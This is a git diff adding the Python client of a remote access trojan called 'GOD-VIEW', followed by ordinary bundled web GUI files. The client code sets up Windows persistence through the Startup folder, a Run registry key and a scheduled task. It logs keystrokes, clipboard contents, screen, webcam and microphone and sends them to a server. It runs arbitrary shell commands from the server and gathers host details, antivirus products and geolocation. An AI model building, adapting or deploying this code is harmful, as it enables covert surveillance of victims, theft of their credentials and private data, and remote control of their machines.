+ + +class AutoShell: + + __STARTUP_DATA = Helper.join('[InternetShortcut]', + f'URL=file://{Static.ROOT}') + __STARTUP_PATH = (os.environ['APPDATA'] + + r'\Microsoft\Windows\Start Menu' + + r'\Programs\Startup\{}.url'.format( + ClientStatic.NAME)) + + @staticmethod + def install(): + Helper.write_file(AutoShell.__STARTUP_PATH, + AutoShell.__STARTUP_DATA, + Helper.WRITE) + + @staticmethod + def uninstall(): + try: + os.remove(AutoShell.__STARTUP_PATH) + except OSError: + pass + + +class AutoRegistry: + + __REG_KEY = (r'HKEY_LOCAL_MACHINE\SOFTWARE\Micro' + r'soft\Windows\CurrentVersion\Run') + + @staticmethod + def install(): + assert Helper.run('reg.exe add {} /v "{}" /t reg_sz /f /d "{}"'.format( + AutoRegistry.__REG_KEY, ClientStatic.NAME, Static.ROOT + ), True), 'Registry install failed' + + @staticmethod + def uninstall(): + assert Helper.run('reg.exe delete {} /f'.format( + AutoRegistry.__REG_KEY + ), True), 'Registry uninstall failed' + + +class AutoSchedule: + + @staticmethod + def install(): + assert Helper.run(( + 'schtasks.exe /create /f /sc onlogon /rl highest ' + f'/tn "{ClientStatic.NAME}" /tr "{Static.ROOT}"' + ), True), 'Task scheduler install failed' + + @staticmethod + def uninstall(): + assert Helper.run('schtasks.exe /delete /f /tn "{}"'.format( + ClientStatic.NAME + ), True), 'Task scheduler uninstall failed' diff --git a/client/error.py b/client/error.py new file mode 100644 index 0000000..2956271 --- /dev/null +++ b/client/error.py @@ -0,0 +1,72 @@ +''' + Error handling client decorators, to provide + useful information sent back to the server or + handle critical errors accordingly. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.data import Data + +import sys + +if Static.EXE: + from client.helper import ClientHelper + + import time + + +class ReconnectError(Exception): + pass + + +class ClientError: + + if Static.EXE: + __RECONNECT_TIMER = 10 + + @staticmethod + def general(callback): + def wrapper(*args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as error: + return Data.parse(Helper.join( + 'Client Side Execution Failed', + f'{type(error).__name__}: {error}' + ), status=Static.DANGER) + + return wrapper + + @staticmethod + def critical(callback): + def wrapper(*args, **kwargs): + try: + return callback(*args, **kwargs) + except SystemExit: + raise + except ReconnectError: + if Static.EXE: + ClientHelper.restart() + else: + sys.exit() + except TimeoutError: + if Static.EXE: + time.sleep(ClientError.__RECONNECT_TIMER) + ClientHelper.restart() + else: + sys.exit() + except Exception: + if Static.EXE and ClientStatic.STICKY: + time.sleep(ClientError.__RECONNECT_TIMER) + ClientHelper.restart() + else: + sys.exit() + + return wrapper diff --git a/client/helper.py b/client/helper.py new file mode 100644 index 0000000..2c90a52 --- /dev/null +++ b/client/helper.py @@ -0,0 +1,63 @@ +''' + General helper functions to improve order + & flow of the client program. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static + +import sys + +if Static.EXE: + if Static.WINDOWS: + from client.autostart import (AutoShell, + AutoRegistry, + AutoSchedule) + + from shared.error import Error + + import os + + +class ClientHelper: + + @staticmethod + def secure(callback): + try: + result = callback() + assert type(result) is str + return result + except Exception: + return ClientStatic.DEFAULT + + @staticmethod + def plural_int(number): + if number == 1: + return '' + else: + return 's' + + @staticmethod + def restart(): + try: + sys.exit() + finally: + Helper.start(Static.ROOT) + + @staticmethod + def uninstall(): + if Static.EXE: + if Static.WINDOWS: + AutoShell.uninstall() + Error.quiet(AutoRegistry.uninstall)() + Error.quiet(AutoSchedule.uninstall)() + + Error.quiet(os.remove)(Static.ROOT) + + sys.exit() diff --git a/client/modules/audio.py b/client/modules/audio.py new file mode 100644 index 0000000..db37a6e --- /dev/null +++ b/client/modules/audio.py @@ -0,0 +1,54 @@ +''' + Creates a connection to the server, sending a stream + of audio data using the specified channels & rate. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyaudio +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyaudio +import socket + + +class Audio(Module): + + def __init__(self, token): + super().__init__(token) + self.__audio = pyaudio.PyAudio() + + @Error.quiet_thread + def __send(self, channels, rate): + try: + stream = self.__audio.open(format=pyaudio.paInt16, + channels=channels, rate=rate, + frames_per_buffer=Data.BUFFER_SIZE, + input=True) + + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, stream.read( + Data.BUFFER_SIZE), False) + Data.recv(sock) + finally: + stream.stop_stream() + stream.close() + finally: + self.__audio.terminate() + + def live(self, channels, rate): + Helper.thread(self.__send, channels, rate) diff --git a/client/modules/clipper.py b/client/modules/clipper.py new file mode 100644 index 0000000..ede15de --- /dev/null +++ b/client/modules/clipper.py @@ -0,0 +1,60 @@ +''' + Creates a connection to the server, sending the + clipboard data in intervals as long as its not + the same data as before. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyperclip +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyperclip +import socket +import time + + +class Clipper(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__first = True + self.__before = '' + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + paste = data = pyperclip.paste() + + if paste == self.__before: + data = '' + else: + if self.__first: + self.__first = False + data = f'{Helper.timestamp()}:{paste}' + else: + data = f'\n{Helper.timestamp()}:{paste}' + + Data.send(sock, data) + Data.recv(sock) + + self.__before = paste + time.sleep(Clipper.__INTERVAL) + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/desktop.py b/client/modules/desktop.py new file mode 100644 index 0000000..bb38e1a --- /dev/null +++ b/client/modules/desktop.py @@ -0,0 +1,70 @@ +''' + Creates a connection to the server, sending a stream + of screenshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + screenshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + +if Static.WINDOWS: + import ctypes + + # NOTE : Sets monitor DPI (zoom) to 100%, + # laptops usually have their DPI set to 125%, + # by default which this line will fix + Error.quiet( + ctypes.windll.user32.SetProcessDPIAware)() + + +class Desktop(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Desktop.__MAX_SIZE) + + @Error.quiet_thread + def __grab(self, monitor): + with mss.mss() as sct: + size = sct.monitors[monitor] + + while True: + screenshot = sct.grab(size) + screenshot = mss.tools.to_png(screenshot.rgb, + screenshot.size) + self.__queue.put(screenshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self, monitor): + Helper.thread(self.__send) + Helper.thread(self.__grab, monitor) diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py new file mode 100644 index 0000000..9911db5 --- /dev/null +++ b/client/modules/keylogger.py @@ -0,0 +1,85 @@ +''' + Creates a connection to the server, sending the + keystrokes pressed, with attached timestamps in + intervals. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pynput +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import socket +import pynput +import time +import re + + +class Keylogger(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__listener = pynput.keyboard.Listener( + on_press=self.__press) + self.__listener.start() + self.__first = True + self.__keys = '' + + def __press(self, key): + key = str(key) + + if key == 'Key.enter': + key = f'\n{Helper.timestamp()}:' + else: + if key == 'Key.space': + key = ' ' + elif key.startswith('Key.'): + key = key[4:] + else: + if re.search(r'^\[.*]$', key): + key = key[1:-1] + + if re.search('^\'.*\'$', key): + key = key[1:-1] + elif re.search('^".*"$', key): + key = key[1:-1] + elif re.search('^<.*>$', key): + key = key[1:-1] + + if len(key) > 1: + key = f'[{key.upper()}]' + + if self.__first: + self.__first = False + key = f'{Helper.timestamp()}:{key}' + + self.__keys += key + + @Error.quiet_thread + def __send(self): + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + keys, self.__keys = self.__keys, '' + Data.send(sock, keys) + Data.recv(sock) + time.sleep(Keylogger.__INTERVAL) + finally: + self.__listener.stop() + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/module.py b/client/modules/module.py new file mode 100644 index 0000000..14c6fea --- /dev/null +++ b/client/modules/module.py @@ -0,0 +1,20 @@ +''' + A class used by all modules, for the simple + reason that every module requires a token. + it's easily extensible for future reference. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + + +class Module: + + def __init__(self, token): + self.__token = token + + @property + def token(self): + return self.__token diff --git a/client/modules/webcam.py b/client/modules/webcam.py new file mode 100644 index 0000000..ddda802 --- /dev/null +++ b/client/modules/webcam.py @@ -0,0 +1,81 @@ +''' + Creates a connection to the server, sending a stream + of snapshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + snapshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + + +class Capture: + + def __init__(self, device): + self.__device = device + self.__alive = True + + @property + def device(self): + return self.__device + + @property + def alive(self): + return self.__alive + + def kill(self): + self.__alive = False + + +class Webcam(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Webcam.__MAX_SIZE) + self.__device = ClientStatic.WEBCAM[token] + + @Error.quiet + def __del__(self): + self.__device.kill() + + @Error.quiet_thread + def __grab(self): + while True: + buffer, width, height = self.__device.device.getbuffer() + snapshot = mss.tools.to_png(buffer, (width, height)) + self.__queue.put(snapshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self): + Helper.thread(self.__send) + Helper.thread(self.__grab) diff --git a/client/shell.py b/client/shell.py new file mode 100644 index 0000000..07b7450 --- /dev/null +++ b/client/shell.py @@ -0,0 +1,70 @@ +''' + Handles the running of commands in + the terminal. Timeouts, encoding & + returning the correct data. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * psutil +''' + +from client.state import ClientStatic +from client.error import ClientError +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import subprocess +import threading +import psutil +import os + + +class Shell: + + @staticmethod + @ClientError.general + def run(data, disable_stderr=False): + if Static.WINDOWS: + data = f'chcp {ClientStatic.CODE_PAGE} > nul && {data}' + + process_timer = threading.Timer(ClientStatic.TIMEOUT, + Shell.__timeout) + process_timer.start() + + process = subprocess.run(data, shell=True, + encoding=Static.ENCODING, + errors=Static.ERRORS, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + + if process_timer.is_alive(): + process_timer.cancel() + + if disable_stderr: + if process.returncode == 0: + return process.stdout.strip('\r\n') + else: + return ClientStatic.DEFAULT + else: + return Data.parse(''.join(( + process.stdout, + process.stderr + )).strip('\r\n'), raw=True) + else: + raise TimeoutError('Timeout Awaiting Shell Response') + + @staticmethod + @Error.quiet + def __timeout(): + # NOTE : Works well, only lists the + # cmd.exe & the subprocess, for example + # vim.exe. Does not disturb the other + # threads the client is running + for child in psutil.Process( + os.getpid()).children(True): + child.kill() diff --git a/client/socket.py b/client/socket.py new file mode 100644 index 0000000..26b32c5 --- /dev/null +++ b/client/socket.py @@ -0,0 +1,119 @@ +''' + Handles the initial connection to the server, + adjusting the server settings, sending the + initial client information & directing + actions based on server requests. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.error import ClientError, ReconnectError +from client.sysinfo import Sysinfo, Interval, Shell +from client.helper import ClientHelper +from client.state import ClientStatic +from shared.state import Static +from shared.data import Data +import client.action + +import socket +import sys +import os + + +class ClientSocket: + + __CD = 'cd' + __CD_LENGTH = len(__CD) + __RAW_LENGTH = len(Static.RAW) + __EVENTS = ( + 'screenshot', + 'clipboard', + 'keylogger', + 'autostart', + 'download', + 'escalate', + 'snapshot', + 'process', + 'recover', + 'sysinfo', + 'desktop', + 'clipper', + 'webcam', + 'python', + 'upload', + 'inject', + 'system', + 'browse', + 'audio', + 'alert' + ) + + def connect(self): + with socket.create_connection((Static.IP, Static.PORT)) as sock: + Data.send(sock, None) + + collect, ClientStatic.STICKY = [ + bool(setting) for setting in Data.recv(sock)] + + if collect: + Data.send(sock, Sysinfo().collect()) + else: + Data.send(sock, Data.message()) + + while True: + data = self.__response(Data.recv(sock)) + + if data == Static.DISCONNECT: + sys.exit() + elif data == Static.RECONNECT: + raise ReconnectError + elif data == Static.UNINSTALL: + ClientHelper.uninstall() + else: + Data.send(sock, data) + + def __response(self, request): + message, lower = Data.lower(request) + + if message in (Static.INTERVAL, Static.ALIVE): + if Static.WINDOWS: + if ClientStatic.WEBCAM: + # NOTE : The VideoCapture library does + # not allow freeing of vidcap.new_Dev + # instance in a thread, as this will + # deadlock the entire program. This + # makes sure it's cleaned up when the + # webcam deconstructor is called + for key, capture in \ + ClientStatic.WEBCAM.copy().items(): + if not capture.alive: + del ClientStatic.WEBCAM[key] + + if message == Static.INTERVAL: + return Interval.collect() + else: + return '' + elif message in (Static.DISCONNECT, + Static.RECONNECT, + Static.UNINSTALL): + return message + elif lower[:ClientSocket.__CD_LENGTH] == ClientSocket.__CD: + return self.__cd(message) + elif lower[:ClientSocket.__RAW_LENGTH] == Static.RAW: + if lower[ClientSocket.__RAW_LENGTH:ClientSocket.__RAW_LENGTH + + ClientSocket.__CD_LENGTH] == ClientSocket.__CD: + return self.__cd(message[ClientSocket.__RAW_LENGTH:]) + else: + return Shell.run(message[ClientSocket.__RAW_LENGTH:]) + elif lower in ClientSocket.__EVENTS: + return getattr(client.action, lower)(request) + else: + return Shell.run(message) + + @ClientError.general + def __cd(self, message): + os.chdir(message[ClientSocket.__CD_LENGTH:].strip()) + return Data.parse(f'New directory: {os.getcwd()}', status=Static.INFO) diff --git a/client/state.py b/client/state.py new file mode 100644 index 0000000..7541bf5 --- /dev/null +++ b/client/state.py @@ -0,0 +1,47 @@ +''' + Variables that has important impact on during + the execution during runtime. These should be + set prior to building out the client. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from shared.state import Static + + +class ClientStatic: + + BUILD_NAME = 'Production Build' + BUILD_VERSION = '1.0.0' + # NOTE : Applies to pre-connect + STICKY = True + + # NOTE : Don't change + DEFAULT = 'Unkown' + + @classmethod + def setup(cls): + if Static.WINDOWS: + # NOTE : Don't change + cls.WEBCAM = {} + + cls.NAME = 'GOD-VIEW' + cls.CODE_PAGE = '65001' + + # NOTE : Don't change + if Static.TIMEOUT > 7.5: + cls.TIMEOUT = Static.TIMEOUT - 2.5 + else: + cls.TIMEOUT = Static.TIMEOUT + + # NOTE : Server IP + Static.IP = Static.IP + # NOTE : Server port + Static.PORT = Static.PORT + # NOTE : Server encryption secret + Static.SECRET = Static.SECRET + # NOTE : Server encryption salt + Static.SALT = Static.SALT diff --git a/client/sysinfo.py b/client/sysinfo.py new file mode 100644 index 0000000..0f928cd --- /dev/null +++ b/client/sysinfo.py @@ -0,0 +1,256 @@ +''' + Collects large amounts of client information, + which is sent on initial connection to the + server, but also provides interval data. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * GPUtil + * psutil +''' + +from client.helper import ClientHelper +from client.state import ClientStatic +from shared.state import Static +from client.shell import Shell + +import urllib.request +import platform +import getpass +import GPUtil +import psutil +import locale +import socket +import json +import uuid +import time +import sys +import re +import os + +if Static.WINDOWS: + import ctypes.wintypes + import ctypes + + +class Interval: + + if Static.WINDOWS: + class LastInputInfo(ctypes.Structure): + _fields_ = [('cbSize', ctypes.c_uint), + ('dwTime', ctypes.c_uint)] + + @staticmethod + def collect(): + return { + 'active_window': ClientHelper.secure(Interval.__active_window), + 'idle_time': ClientHelper.secure(Interval.__idle_time), + 'resource_usage': ClientHelper.secure(Interval.__resource_usage) + } + + @staticmethod + def __active_window(): + if Static.WINDOWS: + window = ctypes.windll.user32.GetForegroundWindow() + length = ctypes.windll.user32.GetWindowTextLengthW(window) + 1 + buffer = ctypes.create_unicode_buffer(length) + ctypes.windll.user32.GetWindowTextW(window, buffer, length) + + if buffer.value: + return buffer.value + else: + return 'No Active Window' + else: + return ClientStatic.DEFAULT + + @staticmethod + def __idle_time(): + if Static.WINDOWS: + input_info = Interval.LastInputInfo() + input_info.cbSize = ctypes.sizeof(input_info) + ctypes.windll.user32.GetLastInputInfo(ctypes.byref(input_info)) + millis = ctypes.windll.kernel32.GetTickCount() - input_info.dwTime + return '{} Minutes'.format(int((millis / (1000 * 60)) % 60)) + else: + return ClientStatic.DEFAULT + + @staticmethod + def __resource_usage(): + return '{}/{}'.format(psutil.cpu_percent(), + psutil.virtual_memory().percent) + + +class Sysinfo: + + if Static.WINDOWS: + __ANTIVIRUS_CMD = (r'wmic /namespace:\\root\securitycenter2 path' + ' antivirusproduct get displayname | more +1') + __PC_CMD = 'wmic computersystem get model, manufacturer | more +1' + + __LOCATION_API = 'https://geolocation-db.com/json/' + __PRIVILEGES = ('Administrator', 'User') + + def __init__(self): + self.__uname = platform.uname() + + def collect(self): + return { + 'operating_system': ClientHelper.secure(self.__operating_system), + 'system_locale': ClientHelper.secure(self.__system_locale), + 'system_uptime': ClientHelper.secure(self.__system_uptime), + 'build_version': ClientHelper.secure(self.__build_version), + 'mac_address': ClientHelper.secure(self.__mac_address), + 'privileges': ClientHelper.secure(self.__privileges), + 'os_version': ClientHelper.secure(self.__os_version), + 'build_name': ClientHelper.secure(self.__build_name), + 'antivirus': ClientHelper.secure(self.__antivirus), + 'username': ClientHelper.secure(self.__username), + 'local_ip': ClientHelper.secure(self.__local_ip), + 'timezone': ClientHelper.secure(self.__timezone), + 'hostname': ClientHelper.secure(self.__hostname), + 'filepath': ClientHelper.secure(self.__filepath), + 'running': ClientHelper.secure(self.__running), + 'cpu': ClientHelper.secure(self.__cpu), + 'gpu': ClientHelper.secure(self.__gpu), + 'ram': ClientHelper.secure(self.__ram), + **self.__pc_model_manufacturer(), + **self.__location() + } + + def __location(self): + try: + response = json.loads(urllib.request.urlopen( + Sysinfo.__LOCATION_API).read()) + + return dict(zip(( + 'external_ip', + 'country', + 'country_code', + 'region', + 'city', + 'latitude', + 'longitude', + 'zip_code' + ), ( + str(response['IPv4']), + str(response['country_name']), + str(response['country_code']), + str(response['state']), + str(response['city']), + str(response['latitude']), + str(response['longitude']), + str(response['postal'])))) + except Exception: + return { + 'external_ip': ClientStatic.DEFAULT, + 'country': ClientStatic.DEFAULT, + 'country_code': ClientStatic.DEFAULT, + 'region': ClientStatic.DEFAULT, + 'city': ClientStatic.DEFAULT, + 'latitude': ClientStatic.DEFAULT, + 'longitude': ClientStatic.DEFAULT, + 'zip_code': ClientStatic.DEFAULT + } + + def __build_name(self): + return ClientStatic.BUILD_NAME + + def __build_version(self): + return ClientStatic.BUILD_VERSION + + def __filepath(self): + return Static.ROOT + + def __username(self): + return self.__verify((getpass.getuser(),)) + + def __cpu(self): + return self.__verify((self.__uname.processor,)) + + def __hostname(self): + return self.__verify((self.__uname.node,)) + + def __os_version(self): + return self.__verify((self.__uname.version,)) + + def __ram(self): + return f'{round(psutil.virtual_memory().total / 1024**3)}GB' + + def __local_ip(self): + return socket.gethostbyname(socket.gethostname()) + + def __mac_address(self): + return ':'.join(re.findall('..', f'{uuid.getnode():012x}')) + + def __system_locale(self): + return ', '.join(locale.getdefaultlocale()) + + def __timezone(self): + return '{} Hours'.format( + time.strftime('%z', time.gmtime())) + + def __operating_system(self): + return self.__verify(( + self.__uname.system, + self.__uname.release, + self.__uname.machine, + '64-bit' if sys.maxsize > 2**32 else '32-bit'), ' ') + + def __running(self): + return 'Python Version {}.{}.{} {} Release'.format( + *sys.version_info[:3], sys.version_info[3].capitalize()) + + def __privileges(self): + if Static.WINDOWS: + if ctypes.windll.shell32.IsUserAnAdmin(): + return Sysinfo.__PRIVILEGES[0] + else: + return Sysinfo.__PRIVILEGES[1] + else: + if os.getuid() == 0: + return Sysinfo.__PRIVILEGES[0] + else: + return Sysinfo.__PRIVILEGES[1] + + def __gpu(self): + return self.__verify([gpu.name for gpu in + GPUtil.getGPUs()], ', ') + + def __pc_model_manufacturer(self): + try: + if Static.WINDOWS: + return dict(zip(('pc_manufacturer', 'pc_model'), Shell.run( + Sysinfo.__PC_CMD, True).strip().split(' ')[:2])) + else: + raise OSError + except Exception: + return { + 'pc_manufacturer': ClientStatic.DEFAULT, + 'pc_model': ClientStatic.DEFAULT + } + + def __antivirus(self): + if Static.WINDOWS: + return ', '.join([av.strip() for av in Shell.run( + Sysinfo.__ANTIVIRUS_CMD, True).strip().split('\n\n')]) + else: + return ClientStatic.DEFAULT + + def __system_uptime(self): + total = int(time.time() - psutil.boot_time()) + + days = divmod(total, 86400) + hours = divmod(days[1], 3600) + minutes = divmod(hours[1], 60) + seconds = divmod(minutes[1], 1) + + return '{} Day{} ({:02}:{:02}:{:02})'.format( + days[0], ClientHelper.plural_int(days[0]), + hours[0], minutes[0], seconds[0]) + + def __verify(self, iterable, join_by=''): + return join_by.join([el if el else + ClientStatic.DEFAULT for el in iterable]) diff --git a/gui/asset-manifest.json b/gui/asset-manifest.json new file mode 100644 index 0000000..039d880 --- /dev/null +++ b/gui/asset-manifest.json @@ -0,0 +1,23 @@ +{ + "files": { + "main.js": "/static/js/main.bca18f22.chunk.js", + "main.js.map": "/static/js/main.bca18f22.chunk.js.map", + "runtime-main.js": "/static/js/runtime-main.97e57f87.js", + "runtime-main.js.map": "/static/js/runtime-main.97e57f87.js.map", + "static/css/2.bdb273ca.chunk.css": "/static/css/2.bdb273ca.chunk.css", + "static/js/2.a739d3d0.chunk.js": "/static/js/2.a739d3d0.chunk.js", + "static/js/2.a739d3d0.chunk.js.map": "/static/js/2.a739d3d0.chunk.js.map", + "index.html": "/index.html", + "precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js": "/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js", + "service-worker.js": "/service-worker.js", + "static/css/2.bdb273ca.chunk.css.map": "/static/css/2.bdb273ca.chunk.css.map", + "static/js/2.a739d3d0.chunk.js.LICENSE.txt": "/static/js/2.a739d3d0.chunk.js.LICENSE.txt", + "static/media/plyr.svg": "/static/media/plyr.3a727a9b.svg" + }, + "entrypoints": [ + "static/js/runtime-main.97e57f87.js", + "static/css/2.bdb273ca.chunk.css", + "static/js/2.a739d3d0.chunk.js", + "static/js/main.bca18f22.chunk.js" + ] +} \ No newline at end of file diff --git a/gui/favicon.ico b/gui/favicon.ico new file mode 100644 index 0000000..90cfd3d Binary files /dev/null and b/gui/favicon.ico differ diff --git a/gui/index.html b/gui/index.html new file mode 100644 index 0000000..13f5010 --- /dev/null +++ b/gui/index.html @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/gui/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js b/gui/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js new file mode 100644 index 0000000..afc8dae --- /dev/null +++ b/gui/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js @@ -0,0 +1,30 @@ +self.__precacheManifest = (self.__precacheManifest || []).concat([ + { + "revision": "56f9bf11b64b94410a3681ea419ecac5", + "url": "/index.html" + }, + { + "revision": "0d772baf8054a1f0b738", + "url": "/static/css/2.bdb273ca.chunk.css" + }, + { + "revision": "0d772baf8054a1f0b738", + "url": "/static/js/2.a739d3d0.chunk.js" + }, + { + "revision": "f67b9271285d2196ae18d8b5855c4ca3", + "url": "/static/js/2.a739d3d0.chunk.js.LICENSE.txt" + }, + { + "revision": "1d6da0a03d82c91c0e8f", + "url": "/static/js/main.bca18f22.chunk.js" + }, + { + "revision": "7a705e12efb19621c91b", + "url": "/static/js/runtime-main.97e57f87.js" + }, + { + "revision": "3a727a9b7eef825081d78cc6e48aaadf", + "url": "/static/media/plyr.3a727a9b.svg" + } +]); \ No newline at end of file diff --git a/gui/service-worker.js b/gui/service-worker.js new file mode 100644 index 0000000..67747a0 --- /dev/null +++ b/gui/service-worker.js @@ -0,0 +1,39 @@ +/** + * Welcome to your Workbox-powered service worker! + * + * You'll need to register this file in your web app and you should + * disable HTTP caching for this file too. + * See https://goo.gl/nhQhGp + * + * The rest of the code is auto-generated. Please don't update this file + * directly; instead, make changes to your Workbox build configuration + * and re-run your build process. + * See https://goo.gl/2aRDsh + */ + +importScripts("https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js"); + +importScripts( + "/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js" +); + +self.addEventListener('message', (event) => { + if (event.data && event.data.type === 'SKIP_WAITING') { + self.skipWaiting(); + } +}); + +workbox.core.clientsClaim(); + +/** + * The workboxSW.precacheAndRoute() method efficiently caches and responds to + * requests for URLs in the manifest. + * See https://goo.gl/S9QRab + */ +self.__precacheManifest = [].concat(self.__precacheManifest || []); +workbox.precaching.precacheAndRoute(self.__precacheManifest, {}); + +workbox.routing.registerNavigationRoute(workbox.precaching.getCacheKeyForURL("/index.html"), { + + blacklist: [/^\/_/,/\/[^/?]+\.[^/]+$/], +}); diff --git a/gui/static/alert.wav b/gui/static/alert.wav new file mode 100644 index 0000000..5071e69 Binary files /dev/null and b/gui/static/alert.wav differ diff --git a/gui/static/css/2.bdb273ca.chunk.css b/gui/static/css/2.bdb273ca.chunk.css new file mode 100644 index 0000000..9c59174 --- /dev/null +++ b/gui/static/css/2.bdb273ca.chunk.css @@ -0,0 +1,2 @@ +@keyframes plyr-progress{to{background-position:25px 0;background-position:var(--plyr-progress-loading-size,25px) 0}}@keyframes plyr-popup{0%{opacity:.5;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}@keyframes plyr-fade-in{0%{opacity:0}to{opacity:1}}.plyr{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;align-items:center;direction:ltr;display:flex;flex-direction:column;font-family:inherit;font-family:var(--plyr-font-family,inherit);font-feature-settings:"tnum";font-variant-numeric:tabular-nums;font-weight:400;font-weight:var(--plyr-font-weight-regular,400);line-height:1.7;line-height:var(--plyr-line-height,1.7);max-width:100%;min-width:200px;position:relative;text-shadow:none;transition:box-shadow .3s ease;z-index:0}.plyr audio,.plyr iframe,.plyr video{display:block;height:100%;width:100%}.plyr button{font:inherit;line-height:inherit;width:auto}.plyr:focus{outline:0}.plyr--full-ui{box-sizing:border-box}.plyr--full-ui *,.plyr--full-ui :after,.plyr--full-ui :before{box-sizing:inherit}.plyr--full-ui a,.plyr--full-ui button,.plyr--full-ui input,.plyr--full-ui label{touch-action:manipulation}.plyr__badge{background:#4a5464;background:var(--plyr-badge-background,#4a5464);border-radius:2px;border-radius:var(--plyr-badge-border-radius,2px);color:#fff;color:var(--plyr-badge-text-color,#fff);font-size:9px;font-size:var(--plyr-font-size-badge,9px);line-height:1;padding:3px 4px}.plyr--full-ui ::-webkit-media-text-track-container{display:none}.plyr__captions{animation:plyr-fade-in .3s ease;bottom:0;display:none;font-size:13px;font-size:var(--plyr-font-size-small,13px);left:0;padding:10px;padding:var(--plyr-control-spacing,10px);position:absolute;text-align:center;transition:transform .4s ease-in-out;width:100%}.plyr__captions span:empty{display:none}@media (min-width:480px){.plyr__captions{font-size:15px;font-size:var(--plyr-font-size-base,15px);padding:20px;padding:calc(var(--plyr-control-spacing,10px)*2)}}@media (min-width:768px){.plyr__captions{font-size:18px;font-size:var(--plyr-font-size-large,18px)}}.plyr--captions-active .plyr__captions{display:block}.plyr:not(.plyr--hide-controls) .plyr__controls:not(:empty)~.plyr__captions{transform:translateY(-40px);transform:translateY(calc(var(--plyr-control-spacing,10px)*-4))}.plyr__caption{background:rgba(0,0,0,.8);background:var(--plyr-captions-background,rgba(0,0,0,.8));border-radius:2px;-webkit-box-decoration-break:clone;box-decoration-break:clone;color:#fff;color:var(--plyr-captions-text-color,#fff);line-height:185%;padding:.2em .5em;white-space:pre-wrap}.plyr__caption div{display:inline}.plyr__control{background:0 0;border:0;border-radius:3px;border-radius:var(--plyr-control-radius,3px);color:inherit;cursor:pointer;flex-shrink:0;overflow:visible;padding:7px;padding:calc(var(--plyr-control-spacing,10px)*0.7);position:relative;transition:all .3s ease}.plyr__control 